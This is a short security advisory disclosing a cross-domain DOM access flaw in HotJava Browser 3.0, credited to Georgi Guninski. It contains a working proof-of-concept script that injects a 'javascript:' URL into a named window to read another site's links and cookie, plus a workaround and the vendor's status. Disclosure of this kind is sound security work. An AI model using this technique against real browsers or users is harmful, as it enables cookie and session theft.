|
|
|
|
| |
| There is a security vulnerability in HotJava Browser 3.0 that allows accessing the DOM of arbitrary URLs. Among other things, this allows stealing cookies from other visited websites. |
| |
Credit:
The information has been provided by Georgi Guninski.
|
| |
Vulnerable systems:
HotJava Browser 3.0
The problem has to do with opening a 'javascript:' URL in a named window, which allows accessing the DOM of the document in the named window.
Exploit:
---------hotjava-1.html------------------------------------------
<SCRIPT>
window.open("http://www.sun.com","g");
setTimeout("window.open('javascript:alert(\"The first link is:
\"+document.links[0].href);alert(\"The cookie is:
\"+document.cookie)','g')",10000);
</SCRIPT>
---------------------------------------------------------------------
Workaround:
Disable JavaScript
Demonstration:
A live demonstration is available at:
http://www.guninski.com/hotjava-1.html
Vendor status:
Sun was notified by email.
|
|
|
|
|
|
|
|
|
|
